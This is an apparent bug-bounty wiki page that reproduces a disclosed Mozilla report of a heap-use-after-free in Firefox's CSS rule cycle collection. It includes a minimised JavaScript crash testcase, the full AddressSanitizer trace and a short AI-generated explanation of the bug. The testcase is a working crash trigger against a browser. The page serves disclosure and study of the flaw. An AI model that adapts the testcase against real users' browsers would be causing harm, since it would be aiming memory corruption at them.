Skip to content
Memory corruption Disclosed report Advanced

stylo: heap-use-after-free in mozilla::css::Rule::cycleCollection::CanSkipReal

A heap-use-after-free occurs in Firefox's CSS rule cycle collection when a crafted page manipulates stylesheets and keyframes. An attacker could potentially execute arbitrary code by exploiting this memory corruption.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 3 days
  • Paid in 3 months
  • Disclosed after 3 days

Created attachment 8920977 crash.html (minimised testcase)

The following testcases crashes the latest ASAN build of Firefox (BuildID=20171021182419).

<script> function start() { o1=window.document; o9=new Array(129); document.documentElement.addEventListener('DOMAttrModified',fun0); document.documentElement.id='id0'; o9.sort(fun2); } function fun0() { o9.unshift(491520); o64=document.createElementNS('http://www.w3.org/1999/xhtml','style'); o64.textContent="@keyframes key15{{}to{"; document.documentElement.appendChild(o64); o82=o1.styleSheets; o83=o82[0]; o84=o83.cssRules; o9.reverse(); o9.every(fun1); o381=o238.cssRules; o415=o381[0]; o415.selectorText='.class0'; } function fun1() { o9.reverse(); o9.splice(5,636,4); o238=o84[0]; } function fun2() { o1138=o415.style; o1138.parentRule; o1138.parentRule; } </script> <body onload="start()"></body>

ASAN output:

==9592==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800006dda0 at pc 0x7fbcbffa3bb4 bp 0x7ffeb17b6380 sp 0x7ffeb17b6378 READ of size 8 at 0x60800006dda0 thread T0 (file:// Content) #0 0x7fbcbffa3bb3 in mozilla::css::Rule::cycleCollection::CanSkipReal(void*, bool) /builds/worker/workspace/build/src/layout/style/nsCSSRules.cpp:95:15 #1 0x7fbcb9224ce2 in CanSkip /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCycleCollectionParticipant.h:170:25 #2 0x7fbcb9224ce2 in mozilla::CycleCollectedJSRuntime::UnmarkSkippableJSHolders() /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:605 #3 0x7fbcbc097f9a in nsCCUncollectableMarker::Observe(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/dom/base/nsCCUncollectableMarker.cpp:467:7 #4 0x7fbcb92b9ecc in nsObserverList::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverList.cpp:112:19 #5 0x7fbcb92bd898 in nsObserverService::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverService.cpp:296:19 #6 0x7fbcbab50e5f in XPCJSRuntime::PrepareForForgetSkippable() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:708:14 #7 0x7fbcb924ac16 in nsCycleCollector::ForgetSkippable(js::SliceBudget&, bool, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2938:19 #8 0x7fbcb9254c5f in nsCycleCollector_forgetSkippable(js::SliceBudget&, bool, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4268:21 #9 0x7fbcbc27816b in FireForgetSkippable(unsigned int, bool, mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1253:3 #10 0x7fbcbc27ce82 in CCRunnerFired(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1939:7 #11 0x7fbcb9372a5d in operator() /builds/worker/workspace/build/src/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/4.9.4/../../../../include/c++/4.9.4/functional:2440:14 #12 0x7fbcb9372a5d in mozilla::IdleTaskRunner::Run() /builds/worker/workspace/build/src/xpcom/threads/IdleTaskRunner.cpp:62 #13 0x7fbcb93b1e36 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1037:14 #14 0x7fbcb93cc2f8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:513:10 #15 0x7fbcba1a1171 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #16 0x7fbcba10063b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #17 0x7fbcba10063b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #18 0x7fbcba10063b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #19 0x7fbcbfb19c8f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #20 0x7fbcc3ebbd97 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:877:22 #21 0x7fbcba10063b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #22 0x7fbcba10063b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #23 0x7fbcba10063b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #24 0x7fbcc3ebb74a in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:703:34 #25 0x4ec2de in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #26 0x4ec2de in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #27 0x7fbcd6af482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #28 0x41dbc8 in _start (/fuzzer3/firefox/firefox+0x41dbc8)

0x60800006dda0 is located 0 bytes inside of 96-byte region [0x60800006dda0,0x60800006de00) freed by thread T0 (file:// Content) here: #0 0x4bc0fb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7fbcb924a8e7 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2729:25 #2 0x7fbcb9254fc4 in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2917:3 #3 0x7fbcb9254fc4 in nsCycleCollector_doDeferredDeletion() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4293 #4 0x7fbcbab90813 in AsyncFreeSnowWhite::Run() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:124:34 #5 0x7fbcb93d342f in IdleRunnableWrapper::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:339:22 #6 0x7fbcb93b1e36 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1037:14 #7 0x7fbcb93cc2f8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:513:10 #8 0x7fbcba1a1171 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #9 0x7fbcba10063b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #10 0x7fbcba10063b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #11 0x7fbcba10063b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #12 0x7fbcbfb19c8f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #13 0x7fbcc3ebbd97 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:877:22 #14 0x7fbcba10063b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #15 0x7fbcba10063b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #16 0x7fbcba10063b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #17 0x7fbcc3ebb74a in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:703:34 #18 0x4ec2de in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #19 0x4ec2de in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #20 0x7fbcd6af482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 (file:// Content) here: #0 0x4bc44c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ed85d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7fbcbfef4922 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7fbcbfef4922 in mozilla::ServoKeyframeList::GetRule(unsigned int) /builds/worker/workspace/build/src/layout/style/ServoKeyframesRule.cpp:61 #4 0x7fbcbcf84c7b in mozilla::dom::CSSRuleListBinding::DOMProxyHandler::get(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::Handle<jsid>, JS::MutableHandleJS::Value) const /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CSSRuleListBinding.cpp:392:58 #5 0x7fbcc4e3a960 in getInternal /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:353:21 #6 0x7fbcc4e3a960 in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::Handle<jsid>, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:363 #7 0x7fbcc4154020 in GetProperty /builds/worker/workspace/build/src/js/src/vm/NativeObject.h:1603:16 #8 0x7fbcc4154020 in GetElement /builds/worker/workspace/build/src/js/src/jsobjinlines.h:230 #9 0x7fbcc4154020 in GetObjectElementOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter-inl.h:499 #10 0x7fbcc4154020 in GetElementOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter-inl.h:627 #11 0x7fbcc4154020 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2905 #12 0x7fbcc413a41a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #13 0x7fbcc4167bc3 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #14 0x7fbcc4168ab2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #15 0x7fbcc4baf0eb in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3021:12 #16 0x7fbcbd6fe1f7 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:47:8 #17 0x7fbcbe0bd00c in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:65:12 #18 0x7fbcbe0bd00c in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1115 #19 0x7fbcbe0bf073 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1295:20 #20 0x7fbcbe09e8f1 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16 #21 0x7fbcbe0a1dc2 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #22 0x7fbcbe070fba in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:891:12 #23 0x7fbcbc258311 in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1337:5 #24 0x7fbcbe03f475 in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:70:12 #25 0x7fbcbbd7a210 in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5736:15 #26 0x7fbcbc164559 in nsDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5372:3 #27 0x7fbcbe4d3cec in nsHTMLDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2507:15 #28 0x7fbcbbf558c6 in ~mozAutoDocUpdate /builds/worker/workspace/build/src/dom/base/mozAutoDocUpdate.h:40:18 #29 0x7fbcbbf558c6 in mozilla::dom::Element::SetAttr(int, nsAtom*, nsAtom*, nsTSubstring<char16_t> const&, nsIPrincipal*, bool) /builds/worker/workspace/build/src/dom/base/Element.cpp:2542 #30 0x7fbcbd7dc244 in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIContent.h:380:12 #31 0x7fbcbd7dc244 in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIContent.h:375 #32 0x7fbcbd7dc244 in SetId /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:888 #33 0x7fbcbd7dc244 in mozilla::dom::ElementBinding::set_id(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitSetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:621 #34 0x7fbcbdcde66a in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3003:8 #35 0x7fbcc4167ac4 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #36 0x7fbcc4167ac4 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #37 0x7fbcc416a210 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #38 0x7fbcc416a210 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541 #39 0x7fbcc416a210 in js::CallSetter(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:670 #40 0x7fbcc5115ab9 in SetExistingProperty(JSContext*, JS::Handlejs::NativeObject*, JS::Handle<jsid>, JS::HandleJS::Value, JS::HandleJS::Value, JS::Handlejs::NativeObject*, JS::HandleJS::PropertyResult, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2732:10 #41 0x7fbcc510ea2a in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handlejs::NativeObject*, JS::Handle<jsid>, JS::HandleJS::Value, JS::HandleJS::Value, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2768:20 #42 0x7fbcc414c445 in SetProperty /builds/worker/workspace/build/src/js/src/vm/NativeObject.h:1621:12 #43 0x7fbcc414c445 in SetPropertyOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:270 #44 0x7fbcc414c445 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2864 #45 0x7fbcc413a41a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/layout/style/nsCSSRules.cpp:95:15 in mozilla::css::Rule::cycleCollection::CanSkipReal(void*, bool) Shadow bytes around the buggy address: 0x0c1080005b60: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1080005b70: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa 0x0c1080005b80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1080005b90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1080005ba0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa =>0x0c1080005bb0: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd 0x0c1080005bc0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1080005bd0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1080005be0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa 0x0c1080005bf0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa 0x0c1080005c00: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==9592==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a reference counting or cycle collection flaw where a CSS rule is freed while still referenced by the cycle collector.

Impact

Could lead to arbitrary code execution or a crash.

What the attacker needed

Victim visits a malicious page

How it was found

  1. Load the provided HTML testcase in Firefox.
  2. The script triggers DOMAttrModified events and manipulates stylesheets.
  3. The cycle collector frees a CSS rule object.
  4. A later access to the freed object causes a crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a memory safety bug in Firefox where a CSS rule object is freed but later accessed, causing a crash. An attacker could use this to run malicious code on a victim's computer.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.